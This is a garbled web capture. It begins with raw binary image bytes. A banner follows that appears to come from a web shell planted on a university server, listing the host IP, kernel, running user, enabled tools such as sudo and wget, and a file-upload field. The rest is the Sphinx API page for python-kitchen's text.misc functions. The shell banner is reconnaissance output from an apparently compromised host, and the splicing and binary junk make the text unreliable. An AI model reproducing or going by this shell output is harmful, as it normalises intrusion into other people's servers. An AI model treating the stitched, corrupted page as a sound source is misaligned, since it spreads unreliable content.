RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð �PNG ��� IHDR���0���0����`n���� cHRM��z&��������������u0���`��:���p��Q<���bKGD�������������tIME� 6���� AIDATX��]pU����{��{�G�n$$@ -�-jВAک��P��1O���j��:cU|hg�}�C�ʋU�:�A A�����|$$$������}�^}8i *�د�?w�9gݵ��:{��F"��&��4� �@��@q_����Ow��9<<|�ԩ�;w���"�#GV�^}Ճ7�|s˖-{��|��G�-[��R�Q�aőTR)� �2!�e�63��X�U������{��Z�m۶�^}�5����}����v�R��J�J,�$� B�$Ф")�i��D�9+䜆B.�qf�үÇoذaժU�i>��so����a^���۷����3�<�ꫯnݺ��"���\���gn0�h��B�i� hR��,W*�e�65��LS�ر�0ēO>���755���ι@O?��ҥK������:::����1��X�9S�%�'�I���$��Sg�ڥ3'zF/� ��Z�8ES6WZ#�.�\��P�R�2����-[�,_�|�`�j�Xl6M���b�Z�* �jҟ0��҉B""� y22r�ܹ�CG�;���{7nn��ma���������2S���� <��x�⡡�|p.Pw��x��y�C�=��O� ��CB}�ӵ����?�wq`8�e����{+Չɱ�\{&�LL������vww��]��?q��Y�������P(���vuu9���S?w���ݻ�v<���mш ��D�DR&�j�X�����y�>���dyg�7��b��s�p��E���BDR� t����������=w�\�[;:[&._�Dlڸv�]��u�驚�/Y�a�����d�%��*)1� �V\G���[F]����X���i����J:z�N�9�?xϭ+X�V|���U�n� �g���hҜ�b�aҢ^��j�f�ZV�K��w.�ؾp�}{� �/e��{O�o�����R�8���i� !jB`�3n;Mw.=7�S�'��F�yW��x�}LXNfz�����b�p�b�bq~�����s�4�H�2��q^�r��n���\aFf4�����n�c��Q�n�X�,����ӑҤd5DDDd9'd��,�l��.���)?��������#}C�k����ܖq����m�a��y��8D���,K)�I�$I�8NE�aH)�|�VCDƘ��DF0D@M�"3�+�����Kcú��+n}��-�k:W�K������3ƄRʌ��m۞��q�9WJ���d�0�,�8��ٶ�⦈B�h���䩡�eDCj&$ �1�Y��\�>{~`�M����ͷt�#?VZ'@D²l"�,+�ɤc0�r��R*��X��n�_kMD�1"""ι�:%X��� $�b:i�b4�X<�/"r�����[Vo��T��0V�i���sΓ$IG���4M�c�R�eq��QS�+5{�{�,��a"��D�2�CҐ(I`CS�s�ʥ�R&�p�����۴(�N���e�sq�Ғ|%�����k�=�0S3@�`�i9�K��Պ�0T�Y��ؼD*��DE��2�gO�bŷrY����z�T��R�҉҆SX�Tϑ����/�Zi�eL��X��jdx䏿�eَ���7��П"?�����0y����<��R�N8�\X9ӥx ��^�L�l�ކ��u����/���Q�B�^p�f��\3��]�INƑ�L�"--�r�!8?���Rp~����v��|�M��$����_M�����GgF�/U�^�^p�Dk�ٲ�vM� ����L$�eGʓ01*���Two��f��#���ޱ��7��!5rdy"D��V���\ט��[y�f���@���Um����2w\�fg_z�y���v|`$_ow402�|���c��Zt��J��Yw���b8+L����R�t߉O�xS���'�L��`/lY�� ���Z;f�nX���f��$�<���Ϩ�J��z"�y��%�qzz��(B��Y�@D�)�uS���<�\.[�����*T(�8v�̗����rrr2I�� N5w����^k=�}�:�S�yӌ��ً+�����NY碧f����0)��h. �R����4�Ա�>�X,:����c�0�0�Rn6���mii�MW*�j��i�I�0�,ˊ���È�8���j�$I�hkk�`||�B!b��l6�8Ncc��U��<���1f�&"FQdYV�B�b���j3�>�!��j>���g���g��RD����8���r�08�u�7��]3������~�,b�P���%tEXtdate:create�2025-02-07T10:02:54+00:00� t����%tEXtdate:modify�2025-02-07T10:02:54+00:00�P�6���(tEXtdate:timestamp�2025-02-07T10:02:54+00:00�E������IEND�B`�
| Server IP : 128.227.220.250 / Your IP : 216.73.216.35 Web Server : Apache/2.4.64 (Unix) OpenSSL/1.0.2k-fips PHP/7.4.33 System : Linux dumont.ece.ufl.edu 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64 User : daemon ( 2) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/17859/root/usr/share/doc/python-kitchen-1.1.1/html/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Miscellaneous functions for manipulating text — kitchen 1.1.1 documentation</title>
<link rel="stylesheet" href="_static/default.css" type="text/css" />
<link rel="stylesheet" href="_static/pygments.css" type="text/css" />
<script type="text/javascript">
var DOCUMENTATION_OPTIONS = {
URL_ROOT: '',
VERSION: '1.1.1',
COLLAPSE_INDEX: false,
FILE_SUFFIX: '.html',
HAS_SOURCE: true
};
</script>
<script type="text/javascript" src="_static/jquery.js"></script>
<script type="text/javascript" src="_static/underscore.js"></script>
<script type="text/javascript" src="_static/doctools.js"></script>
<link rel="search" type="application/opensearchdescription+xml"
title="Search within kitchen 1.1.1 documentation"
href="_static/opensearch.xml"/>
<link rel="top" title="kitchen 1.1.1 documentation" href="index.html" />
<link rel="up" title="Kitchen.text: unicode and utf8 and xml oh my!" href="api-text.html" />
<link rel="next" title="UTF-8" href="api-text-utf8.html" />
<link rel="prev" title="Format Text for Display" href="api-text-display.html" />
</head>
<body>
<div class="related">
<h3>Navigation</h3>
<ul>
<li class="right" style="margin-right: 10px">
<a href="genindex.html" title="General Index"
accesskey="I">index</a></li>
<li class="right" >
<a href="py-modindex.html" title="Python Module Index"
>modules</a> |</li>
<li class="right" >
<a href="api-text-utf8.html" title="UTF-8"
accesskey="N">next</a> |</li>
<li class="right" >
<a href="api-text-display.html" title="Format Text for Display"
accesskey="P">previous</a> |</li>
<li><a href="index.html">kitchen 1.1.1 documentation</a> »</li>
<li><a href="api-overview.html" >Kitchen API</a> »</li>
<li><a href="api-text.html" accesskey="U">Kitchen.text: unicode and utf8 and xml oh my!</a> »</li>
</ul>
</div>
<div class="document">
<div class="documentwrapper">
<div class="bodywrapper">
<div class="body">
<span class="target" id="module-kitchen.text.misc"></span><div class="section" id="miscellaneous-functions-for-manipulating-text">
<h1>Miscellaneous functions for manipulating text<a class="headerlink" href="#miscellaneous-functions-for-manipulating-text" title="Permalink to this headline">¶</a></h1>
<p>Collection of text functions that don’t fit in another category.</p>
<dl class="function">
<dt id="kitchen.text.misc.byte_string_valid_encoding">
<tt class="descclassname">kitchen.text.misc.</tt><tt class="descname">byte_string_valid_encoding</tt><big>(</big><em>byte_string</em>, <em>encoding='utf-8'</em><big>)</big><a class="headerlink" href="#kitchen.text.misc.byte_string_valid_encoding" title="Permalink to this definition">¶</a></dt>
<dd><p>Detect if a byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> is valid in a specific encoding</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple">
<li><strong>byte_string</strong> – Byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> to test for bytes not valid in this
encoding</li>
<li><strong>encoding</strong> – encoding to test against. Defaults to <a class="reference internal" href="glossary.html#term-utf-8"><em class="xref std std-term">UTF-8</em></a>.</li>
</ul>
</td>
</tr>
<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last"><a class="reference external" href="http://docs.python.org/library/constants.html#True" title="(in Python v2.7)"><tt class="xref py py-data docutils literal"><span class="pre">True</span></tt></a> if there are no invalid <a class="reference internal" href="glossary.html#term-utf-8"><em class="xref std std-term">UTF-8</em></a> characters.
<a class="reference external" href="http://docs.python.org/library/constants.html#False" title="(in Python v2.7)"><tt class="xref py py-data docutils literal"><span class="pre">False</span></tt></a> if an invalid character is detected.</p>
</td>
</tr>
</tbody>
</table>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This function checks whether the byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> is valid in the
specified encoding. It <strong>does not</strong> detect whether the byte
<tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> actually was encoded in that encoding. If you want that
sort of functionality, you probably want to use
<a class="reference internal" href="#kitchen.text.misc.guess_encoding" title="kitchen.text.misc.guess_encoding"><tt class="xref py py-func docutils literal"><span class="pre">guess_encoding()</span></tt></a> instead.</p>
</div>
</dd></dl>
<dl class="function">
<dt id="kitchen.text.misc.byte_string_valid_xml">
<tt class="descclassname">kitchen.text.misc.</tt><tt class="descname">byte_string_valid_xml</tt><big>(</big><em>byte_string</em>, <em>encoding='utf-8'</em><big>)</big><a class="headerlink" href="#kitchen.text.misc.byte_string_valid_xml" title="Permalink to this definition">¶</a></dt>
<dd><p>Check that a byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> would be valid in xml</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple">
<li><strong>byte_string</strong> – Byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> to check</li>
<li><strong>encoding</strong> – Encoding of the xml file. Default: <a class="reference internal" href="glossary.html#term-utf-8"><em class="xref std std-term">UTF-8</em></a></li>
</ul>
</td>
</tr>
<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last"><a class="reference external" href="http://docs.python.org/library/constants.html#True" title="(in Python v2.7)"><tt class="xref py py-data docutils literal"><span class="pre">True</span></tt></a> if the string is valid. <a class="reference external" href="http://docs.python.org/library/constants.html#False" title="(in Python v2.7)"><tt class="xref py py-data docutils literal"><span class="pre">False</span></tt></a> if it would
be invalid in the xml file</p>
</td>
</tr>
</tbody>
</table>
<p>In some cases you’ll have a whole bunch of byte strings and rather than
transforming them to <tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> and back to byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> for
output to xml, you will just want to make sure they work with the xml file
you’re constructing. This function will help you do that. Example:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="n">ARRAY_OF_MOSTLY_UTF8_STRINGS</span> <span class="o">=</span> <span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="n">processed_array</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">string</span> <span class="ow">in</span> <span class="n">ARRAY_OF_MOSTLY_UTF8_STRINGS</span><span class="p">:</span>
<span class="k">if</span> <span class="n">byte_string_valid_xml</span><span class="p">(</span><span class="n">string</span><span class="p">,</span> <span class="s">'utf-8'</span><span class="p">):</span>
<span class="n">processed_array</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">string</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">processed_array</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">guess_bytes_to_xml</span><span class="p">(</span><span class="n">string</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'utf-8'</span><span class="p">))</span>
<span class="n">output_xml</span><span class="p">(</span><span class="n">processed_array</span><span class="p">)</span>
</pre></div>
</div>
</dd></dl>
<dl class="function">
<dt id="kitchen.text.misc.guess_encoding">
<tt class="descclassname">kitchen.text.misc.</tt><tt class="descname">guess_encoding</tt><big>(</big><em>byte_string</em>, <em>disable_chardet=False</em><big>)</big><a class="headerlink" href="#kitchen.text.misc.guess_encoding" title="Permalink to this definition">¶</a></dt>
<dd><p>Try to guess the encoding of a byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt></p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple">
<li><strong>byte_string</strong> – byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> to guess the encoding of</li>
<li><strong>disable_chardet</strong> – If this is True, we never attempt to use
<tt class="xref py py-mod docutils literal"><span class="pre">chardet</span></tt> to guess the encoding. This is useful if you need to
have reproducibility whether <tt class="xref py py-mod docutils literal"><span class="pre">chardet</span></tt> is installed or not.
Default: <a class="reference external" href="http://docs.python.org/library/constants.html#False" title="(in Python v2.7)"><tt class="xref py py-data docutils literal"><span class="pre">False</span></tt></a>.</li>
</ul>
</td>
</tr>
<tr class="field-even field"><th class="field-name" colspan="2">Raises TypeError:</th></tr>
<tr class="field-even field"><td> </td><td class="field-body"><p class="first">if <tt class="xref py py-attr docutils literal"><span class="pre">byte_string</span></tt> is not a byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> type</p>
</td>
</tr>
<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last">string containing a guess at the encoding of
<tt class="xref py py-attr docutils literal"><span class="pre">byte_string</span></tt>. This is appropriate to pass as the encoding
argument when encoding and decoding unicode strings.</p>
</td>
</tr>
</tbody>
</table>
<p>We start by attempting to decode the byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> as <a class="reference internal" href="glossary.html#term-utf-8"><em class="xref std std-term">UTF-8</em></a>.
If this succeeds we tell the world it’s <a class="reference internal" href="glossary.html#term-utf-8"><em class="xref std std-term">UTF-8</em></a> text. If it doesn’t
and <tt class="xref py py-mod docutils literal"><span class="pre">chardet</span></tt> is installed on the system and <tt class="xref py py-attr docutils literal"><span class="pre">disable_chardet</span></tt>
is False this function will use it to try detecting the encoding of
<tt class="xref py py-attr docutils literal"><span class="pre">byte_string</span></tt>. If it is not installed or <tt class="xref py py-mod docutils literal"><span class="pre">chardet</span></tt> cannot
determine the encoding with a high enough confidence then we rather
arbitrarily claim that it is <tt class="docutils literal"><span class="pre">latin-1</span></tt>. Since <tt class="docutils literal"><span class="pre">latin-1</span></tt> will encode
to every byte, decoding from <tt class="docutils literal"><span class="pre">latin-1</span></tt> to <tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> will not
cause <tt class="xref py py-exc docutils literal"><span class="pre">UnicodeErrors</span></tt> although the output might be mangled.</p>
</dd></dl>
<dl class="function">
<dt id="kitchen.text.misc.html_entities_unescape">
<tt class="descclassname">kitchen.text.misc.</tt><tt class="descname">html_entities_unescape</tt><big>(</big><em>string</em><big>)</big><a class="headerlink" href="#kitchen.text.misc.html_entities_unescape" title="Permalink to this definition">¶</a></dt>
<dd><p>Substitute unicode characters for HTML entities</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>string</strong> – <tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> string to substitute out html entities</td>
</tr>
<tr class="field-even field"><th class="field-name" colspan="2">Raises TypeError:</th></tr>
<tr class="field-even field"><td> </td><td class="field-body">if something other than a <tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> string is
given</td>
</tr>
<tr class="field-odd field"><th class="field-name">Return type:</th><td class="field-body"><tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> string</td>
</tr>
<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body">The plain text without html entities</td>
</tr>
</tbody>
</table>
</dd></dl>
<dl class="function">
<dt id="kitchen.text.misc.process_control_chars">
<tt class="descclassname">kitchen.text.misc.</tt><tt class="descname">process_control_chars</tt><big>(</big><em>string</em>, <em>strategy='replace'</em><big>)</big><a class="headerlink" href="#kitchen.text.misc.process_control_chars" title="Permalink to this definition">¶</a></dt>
<dd><p>Look for and transform <a class="reference internal" href="glossary.html#term-control-characters"><em class="xref std std-term">control characters</em></a> in a string</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple">
<li><strong>string</strong> – string to search for and transform <a class="reference internal" href="glossary.html#term-control-characters"><em class="xref std std-term">control characters</em></a>
within</li>
<li><strong>strategy</strong> – <p>XML does not allow <a class="reference internal" href="glossary.html#term-ascii"><em class="xref std std-term">ASCII</em></a> <a class="reference internal" href="glossary.html#term-control-characters"><em class="xref std std-term">control
characters</em></a>. When we encounter those we need to know what to do.
Valid options are:</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">replace:</th><td class="field-body">(default) Replace the <a class="reference internal" href="glossary.html#term-control-characters"><em class="xref std std-term">control characters</em></a>
with <tt class="docutils literal"><span class="pre">"?"</span></tt></td>
</tr>
<tr class="field-even field"><th class="field-name">ignore:</th><td class="field-body">Remove the characters altogether from the output</td>
</tr>
<tr class="field-odd field"><th class="field-name">strict:</th><td class="field-body">Raise a <a class="reference internal" href="api-exceptions.html#kitchen.text.exceptions.ControlCharError" title="kitchen.text.exceptions.ControlCharError"><tt class="xref py py-exc docutils literal"><span class="pre">ControlCharError</span></tt></a> when
we encounter a control character</td>
</tr>
</tbody>
</table>
</li>
</ul>
</td>
</tr>
<tr class="field-even field"><th class="field-name">Raises:</th><td class="field-body"><ul class="first simple">
<li><strong>TypeError</strong> – if <tt class="xref py py-attr docutils literal"><span class="pre">string</span></tt> is not a unicode string.</li>
<li><strong>ValueError</strong> – if the strategy is not one of replace, ignore, or
strict.</li>
<li><a class="reference internal" href="api-exceptions.html#kitchen.text.exceptions.ControlCharError" title="kitchen.text.exceptions.ControlCharError"><strong>kitchen.text.exceptions.ControlCharError</strong></a> – if the strategy is
<tt class="docutils literal"><span class="pre">strict</span></tt> and a <a class="reference internal" href="glossary.html#term-control-character"><em class="xref std std-term">control character</em></a> is present in the
<tt class="xref py py-attr docutils literal"><span class="pre">string</span></tt></li>
</ul>
</td>
</tr>
<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last"><tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> string with no <a class="reference internal" href="glossary.html#term-control-characters"><em class="xref std std-term">control characters</em></a> in
it.</p>
</td>
</tr>
</tbody>
</table>
</dd></dl>
<dl class="function">
<dt id="kitchen.text.misc.str_eq">
<tt class="descclassname">kitchen.text.misc.</tt><tt class="descname">str_eq</tt><big>(</big><em>str1</em>, <em>str2</em>, <em>encoding='utf-8'</em>, <em>errors='replace'</em><big>)</big><a class="headerlink" href="#kitchen.text.misc.str_eq" title="Permalink to this definition">¶</a></dt>
<dd><p>Compare two stringsi, converting to byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> if one is
<tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt></p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple">
<li><strong>str1</strong> – First string to compare</li>
<li><strong>str2</strong> – Second string to compare</li>
<li><strong>encoding</strong> – If we need to convert one string into a byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt>
to compare, the encoding to use. Default is <a class="reference internal" href="glossary.html#term-utf-8"><em class="xref std std-term">utf-8</em></a>.</li>
<li><strong>errors</strong> – What to do if we encounter errors when encoding the string.
See the <a class="reference internal" href="api-text-converters.html#kitchen.text.converters.to_bytes" title="kitchen.text.converters.to_bytes"><tt class="xref py py-func docutils literal"><span class="pre">kitchen.text.converters.to_bytes()</span></tt></a> documentation for
possible values. The default is <tt class="docutils literal"><span class="pre">replace</span></tt>.</li>
</ul>
</td>
</tr>
</tbody>
</table>
<p>This function prevents <tt class="xref py py-exc docutils literal"><span class="pre">UnicodeError</span></tt> (python-2.4 or less) and
<tt class="xref py py-exc docutils literal"><span class="pre">UnicodeWarning</span></tt> (python 2.5 and higher) when we compare
a <tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> string to a byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt>. The errors normally
arise because the conversion is done to <a class="reference internal" href="glossary.html#term-ascii"><em class="xref std std-term">ASCII</em></a>. This function
lets you convert to <a class="reference internal" href="glossary.html#term-utf-8"><em class="xref std std-term">utf-8</em></a> or another encoding instead.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">When we need to convert one of the strings from <tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> in
order to compare them we convert the <tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> string into
a byte <tt class="xref py py-class docutils literal"><span class="pre">str</span></tt>. That means that strings can compare differently
if you use different encodings for each.</p>
</div>
<p>Note that <tt class="docutils literal"><span class="pre">str1</span> <span class="pre">==</span> <span class="pre">str2</span></tt> is faster than this function if you can accept
the following limitations:</p>
<ul class="simple">
<li>Limited to python-2.5+ (otherwise a <tt class="xref py py-exc docutils literal"><span class="pre">UnicodeDecodeError</span></tt> may be
thrown)</li>
<li>Will generate a <tt class="xref py py-exc docutils literal"><span class="pre">UnicodeWarning</span></tt> if non-<a class="reference internal" href="glossary.html#term-ascii"><em class="xref std std-term">ASCII</em></a> byte
<tt class="xref py py-class docutils literal"><span class="pre">str</span></tt> is compared to <tt class="xref py py-class docutils literal"><span class="pre">unicode</span></tt> string.</li>
</ul>
</dd></dl>
</div>
</div>
</div>
</div>
<div class="sphinxsidebar">
<div class="sphinxsidebarwrapper">
<h4>Previous topic</h4>
<p class="topless"><a href="api-text-display.html"
title="previous chapter">Format Text for Display</a></p>
<h4>Next topic</h4>
<p class="topless"><a href="api-text-utf8.html"
title="next chapter">UTF-8</a></p>
<h3>This Page</h3>
<ul class="this-page-menu">
<li><a href="_sources/api-text-misc.txt"
rel="nofollow">Show Source</a></li>
</ul>
<div id="searchbox" style="display: none">
<h3>Quick search</h3>
<form class="search" action="search.html" method="get">
<input type="text" name="q" />
<input type="submit" value="Go" />
<input type="hidden" name="check_keywords" value="yes" />
<input type="hidden" name="area" value="default" />
</form>
<p class="searchtip" style="font-size: 90%">
Enter search terms or a module, class or function name.
</p>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
</div>
</div>
<div class="clearer"></div>
</div>
<div class="related">
<h3>Navigation</h3>
<ul>
<li class="right" style="margin-right: 10px">
<a href="genindex.html" title="General Index"
>index</a></li>
<li class="right" >
<a href="py-modindex.html" title="Python Module Index"
>modules</a> |</li>
<li class="right" >
<a href="api-text-utf8.html" title="UTF-8"
>next</a> |</li>
<li class="right" >
<a href="api-text-display.html" title="Format Text for Display"
>previous</a> |</li>
<li><a href="index.html">kitchen 1.1.1 documentation</a> »</li>
<li><a href="api-overview.html" >Kitchen API</a> »</li>
<li><a href="api-text.html" >Kitchen.text: unicode and utf8 and xml oh my!</a> »</li>
</ul>
</div>
<div class="footer">
© Copyright 2011 Red Hat, Inc. and others.
Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3.
</div>
</body>
</html>